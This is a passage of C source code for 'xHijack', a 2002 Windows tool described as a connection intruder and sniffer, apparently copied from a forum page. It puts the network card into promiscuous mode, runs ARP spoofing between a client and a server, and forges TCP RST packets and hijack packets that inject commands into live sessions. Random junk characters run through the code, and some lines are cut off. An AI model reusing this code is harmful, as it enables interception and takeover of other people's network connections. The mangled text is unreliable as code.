iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; 2 H2 R7 I& Y3 [. {6 u" N PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; % p0 u) d7 I' x: R7 q0 X PIP_ADDR_STRING pIPAddr; 9 N: l6 P0 d- m( O0 T) d% K //Get The list of Adapter t! }; c3 X7 v4 z2 r if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); 6 J! T0 X" v7 P! `* @0 ]) W! b return 0; " M* o [8 j$ |1 |9 f } 4 ~+ w7 o' t9 P, w6 V# F temp = temp1 = AdapterName; i = 0; * O, l( J) r' e3 Q5 o+ l* ^5 i while ((*temp != '\0')||(*(temp-1) != '\0')) : n4 o4 @( [7 N+ M) k# [ { v/ f z1 t3 F if (*temp == '\0') / g9 G% U! k% l- U* h { memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); temp1=temp+1; 9 `0 ]. a2 p" ]' i8 z i++; $ ^* ^- Z' E1 ?, l* @4 H" y } temp++; } * T. k% M; w' V% }4 i //choose adapter : E" y4 w6 L& V9 T$ X while((iAdapter <= 0) || (iAdapter > i)) { f) U8 E: o5 |% E8 ~ printf("\nPlease choose your Adapter:"); ! O Q( y2 s" g0 Y/ f scanf("%1d", &iAdapter); 7 z4 s3 {- w7 N, I7 `9 ]1 W# N4 x } printf("\n"); : z% }: u a" t //---------------------------------------------// 5 j2 D R' L$ Z9 K2 J- y4 ] //这里调用iphlpapi来取得本地ip_addr和mac_addr ' t. b1 W( Z7 X- \9 ?( D sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); . [1 p( e# G+ z2 g if(dwRet != ERROR_BUFFER_OVERFLOW) 4 [) K0 |; J( q: R# o { 0 @1 ^$ @2 y6 ]. ? printf("GetAdapterInfo error:%d\n", GetLastError()); # W1 b$ z. q1 m9 T: N return 0; , V4 {* f- b+ Y; ^) f! w f } |' {& u- Q3 P) `: A! y# J pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 1 Y9 b/ A; |# U! H; Q9 y: @, Z return 0; } 9 B: s% |% u. k3 g- Z5 ]- `+ ~ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; % x/ {" K! `9 i% A( ` } pTmp = pAdapterInfo; & U2 v/ X2 r* s$ u0 Z while(pTmp) 9 A0 H1 i" }9 l! g: {+ ` { 5 ]( y) {2 ]3 s- Q: x7 {4 Y1 E //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 3 y; {, O4 t' T& I0 D8 C" j/ W/ u* m { //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); " C; \& V: t; B+ X6 s$ Y( ] //get ip address pIPAddr = &pTmp->IpAddressList; % C0 B, v# q$ q/ h while(pIPAddr) * `5 N2 {; c/ Y' P { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); / t& e! ]+ t, j" b. d pIPAddr = pIPAddr->Next; . X/ N3 k3 ^8 C. @1 Z, h if(g_TotalIP >= Max_Num_IPAddr) break; $ I9 m+ q/ }; W } / g, Y+ {+ {& B/ }* i3 N1 e break; } + G" B4 c9 z/ ?8 _ pTmp = pTmp->Next; } free(pAdapterInfo); ; r5 q* ~7 f& C8 _' ? u5 o: s& [ //not found,return zero # r O$ h/ J1 @3 r, x if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// 9 F" f9 [& p# g8 B) j& I* I6 M: q //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); ! N: H2 H7 x1 [1 ^4 k& v% k printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } V6 d3 V8 _+ Q1 `9 Z6 w // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ) v0 x- S) ~: f2 ~5 Z1 ] if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ) ]1 g2 ^ r: h { printf("Unable to set ALL_LOCAL mode!\n"); ! ?' B; s5 b1 N' X* S; ~: b return 0; } 2 j7 x$ a! y) E% B" I# [ } // set a 512K buffer in the driver 6 g1 l; c ~5 N! G if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); return 0; % h, b: H2 o `* g, M8 v- ] } & J; B- Y% g& S7 k8 B/ ] // set a 1 second read timeout : n' d0 t3 i3 M- p. ~* b if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); 2 Z$ T7 J) ]8 S if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet g_lpSendPacket = PacketAllocatePacket(); " W# m0 X% f: k( L7 Z& p! _ if(g_lpSendPacket == NULL) + [' ^3 k8 e# _! Z { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); return 0; 7 k9 ~, f" g6 r0 i7 X* @$ I } / |# v( h6 P: z( ^* D ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 8 \! M0 Q2 H" t8 ] return lpAdapter; } / |, Y1 ^9 p. I9 d8 Z+ K ( F6 L$ q& G, d//功能：帮助信息 void usage() ' |. N! y1 X* |/ _, Y. z1 c{ 5 m* c6 Q8 b; [. Z* q8 f+ ~( E" K" J printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 8 h8 z' {+ O7 D' c- f# | "By eyas 2002/8/19\n" 3 P/ G* x4 K: r1 x% M$ K "http://www.ey4s.org\n" 4 E$ t$ h. Y. k+ B0 A# r* V "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); } + D+ _ E. k+ q8 N, Q3 l- E// 2 H- D- ?& K# u$ I) y) d D//功能：显示数据包的一些详细信息 5 H" w+ d3 W; A. B" g$ `- x// VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 4 P8 _2 a4 q' z+ J/ r% \{ % p( b9 w }: n. ~4 j/ m* C) V SOCKADDR_IN saDest, saSrc; 3 O/ p( b8 h) d( ?1 M6 P unsigned char FlagMask; $ n, w) J- Y* { int i; 4 k! k( W* x }" d) k saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ' \7 [+ u% M+ R0 |7 P printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), $ @; Q9 H, t" E4 C8 Z ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 5 t" m: l2 u$ F) q { if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag); else printf("-"); 0 T& S7 H# N$ ^2 U } printf("\n"); //如有需要，可显示更多详细的信息 if(bDetail) 6 H1 ]0 |* k. {8 \/ k printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); } # j1 j( @3 g; p) j6 c3 S! \// //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 Z8 t1 I2 H! ~; n// 7 w8 s u' s- fDWORD WINAPI AnalysePacketsThread(LPVOID lp) { 5 f) U; T: ?* X! {9 b( R( d ULONG ulBytesReceived; / A( s7 m; V% p4 S' n USHORT usDataLen; ! u' D4 |# J1 D2 ?; Y //USHORT usIPHeadLen, usTCPHeadLen; * \) F' y9 z4 G char *buf; u_int off, i; PTCPPACKET pTCPPacket; ! r& D+ N. J7 k' M. \# y struct bpf_hdr *hdr; 0 z: @- n3 E; g" r LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; # z3 N$ Y* X" M DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 2 o/ U% P K( b9 n' G+ k+ J& F - w( n+ D. ]5 F/ G. f //设置接收的packet lpRecvPacket = PacketAllocatePacket(); if(lpRecvPacket == NULL) {' s. q; C( h) r% Q5 ~' l. E { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; , Z* C0 m( N1 l) F4 S9 `( F } 7 @/ Z0 v4 \+ x& v6 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); ) C' z- Q) U$ t# P* S PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); k v( A' C- I5 B+ d. l, W: h3 C while(1) { 6 C0 ~8 G6 x8 z: O# Q // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); break; 7 Y1 \& M; k/ G+ ^5 g } ulBytesReceived = lpRecvPacket->ulBytesReceived; % P: q( l$ \& {4 H3 r buf = lpRecvPacket->Buffer; off = 0; 8 z& r+ L7 _! `7 O" x4 X0 q3 F3 q! o while(off < ulBytesReceived) { $ F! G6 B, B& u" c5 U hdr = (struct bpf_hdr *)(buf + off); 2 k- y2 O' a, C1 q X off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); 7 z0 F9 S* Y9 ^, U off = Packet_WORDALIGN(off + hdr->bh_caplen); ! A; y$ i, x3 T7 D! K/ p2 G1 O //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; //检查是否IP包 if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 0 l1 u6 g- ?* I) e( M! J //也不处理DestIP是自己的包 for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
) _5 ^( ^; \4 w3 y6 j" l% Z/ h            //reset action flag
            ResetActionAllFlag();
/ u( i; i. ]' }# v+ b3 F' g          }
" w# c6 n7 C0 a          //start hijack
  h3 r" o; W2 e) }# e$ b" f          else if(g_dwAction == ACTION_HIJACK)
          {
( U: G8 O6 `. U" A            //send rst packet to client
  E3 ^0 O) Y3 l            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
. Q% q* l. L  R6 R; n% [3 l8 O9 t            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
9 ?) [& F7 ]% m: H7 d            //reset action flag
            ResetActionAllFlag();
" t: f6 c6 l2 X% v0 j          }
5 a: o# `$ F; V# m        }
! N8 D, v  _: V3 B        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
$ N: u! m1 D6 L2 n' I- ]6 t        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
* {: f6 g9 A! s5 N! p: {$ h          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
" a" F- m" Y% o6 v' \  X8 K          for(i=0; i        }
      }
      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
* S! U1 q" l& P' c    }//end of analyse packets while
  }//end of recv packets while
. d, J$ ^, i7 ]# H  PacketFreePacket(lpRecvPacket);
  z5 ?* i2 e) u  return 0;
- q% e6 n1 N- {9 e}
+ \  v( x$ x1 Y3 i9 b2 c- v( x
7 h4 E, p, Z$ }9 E* U
//
//功能：操作记录所有连接信息的单向链表
//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
; a( Z* X2 ^7 p{
  PCONNINFO  pNew, pTmp;
) G4 C- t4 Y) X" s) b8 v$ g# _
* e3 j8 s7 H4 C, x9 C, C7 [& n  pTmp = g_pConnHead;
  while(pTmp)
% _6 {; {* B. o; Y1 @  {
0 j7 A) j1 P4 h5 T( f    if(pTmp-&gt;bActive)
  P1 C2 Y  P" m9 L    {
1 \; y1 X/ p& ^* `7 h1 s9 b( ~      //found it
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
7 K( S" o; g$ v: H* Y4 q        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
        (pTmp-&gt;uClientPort == uClientPort) )
      {
        if(bDelete)
1 t; Q" m2 E$ Z2 L* v6 i        {
. J' i  ^# |$ `, L          pTmp-&gt;bActive = FALSE;
          return 0;
        }
7 M/ N/ a8 U3 Z% K: L$ T        else return pTmp-&gt;ident;
      }
, B- ~0 K6 D  N" \" x    }
    pTmp = pTmp-&gt;Next;
  }
: d) g; ~9 h" Z  //not found, create new node
- x6 g% q! m6 K7 ?4 I4 D0 \  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
$ C8 m0 g. s: s6 B4 O  {
4 F3 R- I8 q) o* C    //search unactive note
# p9 A- p& \# M  v    pTmp = g_pConnHead;
" G, N. g; l5 G+ O% w' d( s* R    while(pTmp)
, F" P: X; {) c( r1 ?    {
      if(!pTmp-&gt;bActive) break;
# ?0 D1 P9 ^6 J' D& u      pTmp = pTmp-&gt;Next;
    }
    //found a unactive node
    if(pTmp)
    {
      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
7 u0 o6 s9 }) o* `      pTmp-&gt;uClientPort = uClientPort;
      pTmp-&gt;bActive = TRUE;
: b$ w5 O4 T' a: c      return pTmp-&gt;ident;
/ B/ `5 V+ N8 B    }
# Y1 E( b) v# x3 X9 {. E    //not found,create new node
" W6 c) Z/ I% F; _- r3 k. c3 E    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
3 q/ i1 Q* j& ~* c/ a" K    {
2 y/ ~# Z- @8 ~$ E3 R& p2 z: z      printf("malloc for link node error:%d\n", GetLastError());
/ R- R2 T# W  X0 G( a% }8 ~  d      return 0;
$ E2 J; T2 E- J$ n% v2 I    }
0 U, e0 _% K0 b    //fill the struct
    pNew-&gt;bActive = TRUE;
    pNew-&gt;dwServerIP = dwServerIP;
; n; ]6 `/ G  i; X: s6 M$ R    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
9 }3 x( R* x+ E    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
' D7 w, U, R% \0 Y) e9 S    pNew-&gt;Next = NULL;
- m& ~+ y6 N; k" A2 e0 C8 \4 S' j    //add new node to link
    if(!g_pConnHead)
" k( o% n+ Z# {* H1 I! V      g_pConnHead = g_pConnLast = pNew;
' B) v% _$ N  _; o  a4 e    else
    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
$ H1 o4 G& B1 G    }
    return pNew-&gt;ident;
  }
  return 0;
/ J' C7 i- W: \9 u% V! X}

; \) c/ `' N) p//
9 V# @; Y5 J3 [: P4 G% e  R( S( b0 o//功能：判断一个数据包是不是只有ACK标志
# W% o( C: p  p( e! D//
5 f4 a/ H- y- {% i% o3 E2 iBOOL IsACKPacket(unsigned char flag)
{
  int  i, j=1;
/ j1 Q* R: @- C4 S0 U: l  J  for(i=0 ; i&lt;4; i++)
  {
+ Q; S- B4 \% L4 ]4 j7 o    if(flag &amp; j) return FALSE;
    j &lt;&lt;= 1;
  }
  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
  return TRUE;
) A8 b3 D$ f$ ?) C}
  W3 o" }1 e1 U7 y4 F9 B0 o+ d
//
5 j# J! g2 q. {1 `//功能：伪装成Client给Server发送数据包
# Y+ ~# a8 s- P5 |//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{

5 l5 X3 `( {& ]- O  char    szBuff[1520];
  PSDHDR    psdhdr;
; \7 S& e; E1 `: t- I, b9 c* Y  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;

  __try
  {
) I+ l6 Y6 l; V, N" e3 v    //
8 C% K* ?3 V: c7 S    if(!g_pCurrCtrlConn) __leave;
8 \% V! C) C2 ~9 W( {+ P8 v: S    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
# \6 u& H: {& i1 c    {
5 M; T, d: v+ }8 k      printf("malloc error:%d\n", GetLastError());
. @& O) h( _; D3 |      __leave;
# V. H: o, Y4 @# i- L    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
6 p; L1 @  D. n5 z4 o* \( F    //-------------- modify the packet ---------------//
    //modify ethernet head
, n, l6 P5 C. q3 G1 b+ B    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    //modify ip head
7 s8 t& i, `5 Y2 W4 V    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
    pHiJackPacket-&gt;iphdr.checksum = 0;
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
0 e# c) Y6 k% |3 F9 U    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
6 v! z% t7 ~3 d; I2 ?+ q8 P0 s: q    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
# v% M; o2 u/ P: e1 n/ {! N. m    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
7 v* f! B# ~" v( T5 z* |$ k    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
- P) |9 j' V5 v. J) y3 L, q( o    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
' o) j9 b  V9 ^7 M0 L' o    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
# E2 @+ A2 u3 L7 q    psdhdr.mbz = 0;
6 z/ ~4 L2 q9 o# o1 B    psdhdr.ptcl = IPPROTO_TCP;
5 L) H: k& {4 H0 h    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
8 S/ Z* ?$ Z4 i    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
. J! z1 b6 E  L/ j' f* D  V    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
$ C8 T$ _9 n9 q2 r, D    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
( v, y- i7 S# v3 X  e/ Q    //calculate IP checksum
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
# V7 z& D' A  L/ r1 g    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
  {% v$ I& K' h- r. [" \    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
6 w* E  V/ [$ f* Q8 O/ e    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: U3 {) a8 W+ x& Y1 Q. u    {
0 X9 c1 s1 k% x/ D( I. c      printf("Error sending the hijack packets!\n");
  l9 o2 x5 d5 B: e# w, F# A4 D: H      __leave;
) X8 T5 c; ]& i    }
7 B: `( L, C$ t- P7 G6 m    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰

__finally
  {
    if(pHiJackPacket) free(pHiJackPacket);
! E9 {! i1 [% k% m9 H  }
" a- \2 I* W) R, l8 Q4 ]& {  return bRet;
}


//
//功能：伪装成Server给Client发送rst包
+ u# G) r# T8 l1 s$ G0 t, w, w//
/ `2 @) z6 \9 iBOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
  T2 D; S9 ^0 \5 x7 n4 T% N8 _  char    szBuff[60];
0 ^+ ^2 Y- x* }6 {. z  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
) I5 D1 T: z3 P0 ^  P& b: r  BOOL    bRet = FALSE;

  __try
  {
    //检查当前指向想控制的连接的信息的指针是否为空
/ D4 J& }5 {' P3 Z. s" W& a    if(!g_pCurrCtrlConn) __leave;
! Q) B+ N* d: ~# L* U* O! H    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pTcpPacket)
  B# Z: w# W8 T* O5 @; D2 K4 s    {
      printf("malloc error:%d\n", GetLastError());
      __leave;
6 ?! X0 v; a: F& W7 u. W& l% y9 V5 `. S5 L    }
    //fill ethernet head
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
+ R* w7 g" Y4 I$ _. k4 p    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
* u6 @: ^: L6 r/ Y8 m) s1 @# g    //fil ip head
2 _! q0 O5 H1 F& l- x    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket-&gt;iphdr.tos = 0;
- {& @" J  r. z* R    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
8 }2 _% @) A0 T$ z& d    pTcpPacket-&gt;iphdr.ident = 1;
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
5 T: O1 ?1 e* K  B  O0 E/ J! a    pTcpPacket-&gt;iphdr.checksum = 0;
5 y4 q( y: @" u: `/ N    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
8 [6 m' p4 w/ u    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
0 {' [  G6 Y' A7 I3 h. w0 ?    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
  k: ^& L5 Y6 e9 T$ }6 s7 D' x/ t    pTcpPacket-&gt;tcphdr.th_win = 0;
    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
7 q: f* S; Y- _% f    //fill tcp psd head
9 C8 z9 Z( B8 w- y    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
0 |" i; i* \1 ?9 |$ k8 M4 D    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
2 b# U1 j4 W% U( f: A    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
4 M" t# d- w- l    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
- d6 D% X% k; R$ X* h% v! E' b    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer
$ h% f+ X+ _& P* Y1 W, L7 m    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
. Q8 K+ A& `" E2 l6 g' j  U    {
# [, b4 k* c$ X! ^( Y! p) G      printf("Error sending the rst packets!\n");
: |8 o* F& ^1 _, _: Q      __leave;
8 y7 U- k. w. Z# m: Q    }
    else printf("Send RST packet ok!\n");
7 K0 Z* k) v8 \2 g' y1 e    bRet = TRUE;
  }
! z& W" O' [0 B, r* `( H  __finally
1 s0 V7 C6 @* ~$ ?- B3 q  {
    if(pTcpPacket) free(pTcpPacket);
; \2 f' r/ y+ d3 Z# L+ [% d  }
3 c' {. q7 c' g% q) Q3 |  return bRet;
}
9 I3 r  d$ \: ^/ Q7 u7 b
# y- [" O' Y$ i! l//
//功能：计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size &gt;1) {
# W+ t  _. ?' n" u/ l  cksum+=*buffer++;
  size -=sizeof(USHORT);
: Y5 D0 U* W$ B' q/ \, B }
if(size ) {
9 s7 x* W% V( w0 n) t5 T  cksum += *(UCHAR*)buffer;
}
( M1 k' l0 Z* E  |6 ]( f5 k cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
; b3 @9 ^& j& E* r}
& ]! ^4 O( k. C* j% p1 x, I
//
3 p; S! H1 ~7 F//功能:实施ARP欺骗
+ ~+ S3 o: K# h//1 告诉ServerSide,ClientSide的mac是ownmac
3 ~$ P/ V8 D& k5 d# j' E//2 告诉ClientSide,ServerSide的mac是ownmac
//
- z3 x1 Y  X2 a1 v% L+ A- ADWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
& _: H9 Z& \2 k  int  iType = *(int *)lpType;
" a8 S8 E  Q* [* c  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
  char    szArpBuff[60];

6 B: W4 W) F/ \- r+ }  switch(iType)
  {
    case 1:
) B1 t+ o) _6 P. ^      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
7 F$ O5 f. b; ?2 \      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
( v: B2 b$ Q7 D      break;
9 U$ S6 W# v+ y" x    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
$ H. g# L: W; n/ r6 w: T& J, J      break;
% _, ?0 Z4 A, v- w  L, P% [1 }    default:
      return 0;
  }
  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
5 ^9 F: S, w- f# Z& w  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
9 B5 f$ H% J' Z& L) m  Q  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
/ l# p3 m+ {) X% y6 k  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) [" y/ |$ A% X3 h! Z2 v  A+ i  ArpPacket.arphdr.ProType = htons(EPT_IP);
. y" K* b: ?; P3 ]& V* @  ArpPacket.arphdr.op = htons(2);//arp reply
" q% v# J' W; G9 w0 d
5 j5 x$ h/ `$ ^) Q: B7 k( B: y  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
